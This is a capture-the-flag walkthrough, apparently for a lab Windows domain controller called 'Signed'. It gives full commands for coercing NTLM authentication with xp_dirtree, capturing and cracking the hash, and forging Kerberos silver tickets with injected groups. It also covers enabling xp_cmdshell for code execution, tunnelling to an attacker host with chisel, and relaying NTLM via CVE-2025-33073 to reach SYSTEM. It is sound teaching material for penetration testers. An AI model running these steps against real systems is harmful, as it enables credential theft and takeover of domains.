Signed
MSSQL guest access exposes xp_dirtree, which coerces the SQL service account into an NTLMv2 handshake captured by Responder — cracking the hash and forging a Kerberos silver ticket with the IT group injected into the PAC grants MSSQL sysadmin and xp_cmdshell RCE as signed\mssqlsvc.
Overview
Signed is a medium-difficulty Windows box built around a realistic Active Directory / MSSQL attack chain. A guest-accessible MSSQL instance leaks the service account’s NTLMv2 hash via xp_dirtree; cracking that hash enables a Kerberos silver ticket forged with arbitrary PAC group membership to escalate from guest to sysadmin in SQL Server. From there xp_cmdshell gives code execution as signed\mssqlsvc and OPENROWSET(BULK ...) reads the Administrator’s desktop directly, while the intended path uses CVE-2025-33073 — a crafted DNS record triggers NTLM reflection relayed cross-protocol to WinRM for NT AUTHORITY\SYSTEM.
Machine Matrix
The Real-Life axis dominates: xp_dirtree NTLMv2 coercion, silver ticket PAC abuse, and NTLM cross-protocol relay are techniques lifted straight from real AD penetration tests.
Recon
| Port | Service | Notes |
|---|---|---|
| 1433 | MSSQL (Microsoft SQL Server) | SQL auth enabled; guest login accepted with scott account |
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p1433 -sC -sV -Pn 10.10.10.X
Only port 1433 (MSSQL) is exposed. The version scan confirms SQL Server is running, and the hostname resolves to dc01.signed.htb — confirming this is a Domain Controller with MSSQL colocated.
Enumeration
Add the host entry so Kerberos and MSSQL hostname resolution work:
1
echo "10.10.10.X dc01.signed.htb signed.htb dc01" | sudo tee -a /etc/hosts
Connect with the known guest credentials (scott:Sm230#C5NatH) — the account lands in the public role with no sysadmin:
1
impacket-mssqlclient 'scott:Sm230#[email protected]'
Even as a guest, xp_dirtree is executable. Using SUSER_SID queries reveals the domain SID and the RID of the SIGNED\IT group, both needed for silver ticket construction:
1
2
SELECT SUSER_SID('SIGNED\Administrator');
SELECT SUSER_SID('SIGNED\IT');
The Administrator SID hex decodes to S-1-5-21-4088429403-1159899800-2753317549. The last four bytes of the IT SID (little-endian 51040000) decode to RID 1105.
Foothold
Start Responder to capture the NTLMv2 challenge-response when the SQL service account reaches out:
1
sudo responder -I tun0 -v
In the MSSQL session, trigger outbound SMB from the SQL service account:
1
EXEC master..xp_dirtree '\\10.10.16.13\share\'
Responder captures mssqlsvc::SIGNED:<challenge>:<response>. Save the hash and crack it:
1
hashcat -m 5600 mssqlsvc_hash.txt /usr/share/wordlists/rockyou.txt
Result: mssqlsvc:purPLE9795!@. Convert the plaintext password to its NT hash for ticket forging:
1
pypykatz crypto nt 'purPLE9795!@'
NT hash: ef699384c3285c54128a3ee1ddb1a0cc. Forge a Kerberos silver ticket impersonating Administrator with the IT group (RID 1105) injected into the PAC — this grants sysadmin in SQL Server because membership in SIGNED\IT maps to that role:
1
2
3
4
5
6
7
8
impacket-ticketer \
-spn MSSQLSVC/dc01.signed.htb \
-domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
-nthash ef699384c3285c54128a3ee1ddb1a0cc \
-dc-ip 10.10.10.X \
-domain signed.htb \
-groups 1105 \
Administrator
Export the ticket and reconnect via Kerberos — the silver ticket is presented directly to the SQL Server service without DC validation:
1
2
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k dc01.signed.htb
Enable xp_cmdshell and verify code execution:
1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Output: signed\mssqlsvc — RCE achieved as the SQL service account.
User flag
1
EXEC xp_cmdshell 'type C:\Users\mssqlsvc\Desktop\user.txt' # HTB{...}
Shell lands as signed\mssqlsvc via xp_cmdshell and the user flag is ours.
Privilege Escalation
With sysadmin rights, forge a second silver ticket for the mssqlsvc identity itself with Domain Admins (512), Domain Users (513), and IT (1105) groups — this widens the filesystem access available through SQL Server bulk operations:
1
2
3
4
5
6
7
8
impacket-ticketer \
-nthash ef699384c3285c54128a3ee1ddb1a0cc \
-domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
-domain signed.htb \
-spn MSSQLSvc/dc01.signed.htb \
-user-id 1103 \
-groups 512,513,1105 \
mssqlsvc
Export and reconnect with the new ticket:
1
2
export KRB5CCNAME=mssqlsvc.ccache
impacket-mssqlclient -k dc01.signed.htb
Use OPENROWSET(BULK ...) to read the Administrator’s desktop directly — the SQL Server service account has improper access control beyond its intended filesystem scope:
1
SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents
The intended path uses CVE-2025-33073: set up a chisel SOCKS tunnel through the xp_cmdshell session, add a crafted DNS record via dnstool.py that encodes marshaling metadata pointing to the attacker’s IP, then run ntlmrelayx targeting WinRM so the DC’s NTLM authentication is relayed cross-protocol (bypassing SMB signing) to yield NT AUTHORITY\SYSTEM:
1
chisel server --reverse -p 8080 -v --socks5
1
EXEC xp_cmdshell 'start /B C:\Windows\Tasks\chisel.exe client 10.10.16.13:8080 R:socks'
1
2
3
4
5
6
proxychains python3 ~/tools/krbrelayx/dnstool.py \
-u 'SIGNED.HTB\mssqlsvc' -p 'purPLE9795!@' \
-a add \
-r 'dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d 10.10.16.13 \
10.10.10.X
1
sudo impacket-ntlmrelayx -t winrms://10.10.10.X -smb2support
1
2
3
4
proxychains nxc smb dc01.signed.htb \
-u mssqlsvc -p 'purPLE9795!@' \
-M coerce_plus \
-o L=dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA M=Petit
1
nc 127.0.0.1 11000
Either path yields full Administrator access.
Root flag
1
type C:\Users\Administrator\Desktop\root.txt # HTB{...}
Full compromise of dc01.signed.htb achieved — both the OPENROWSET filesystem read and the CVE-2025-33073 NTLM relay path confirm Administrator-level access to the Domain Controller.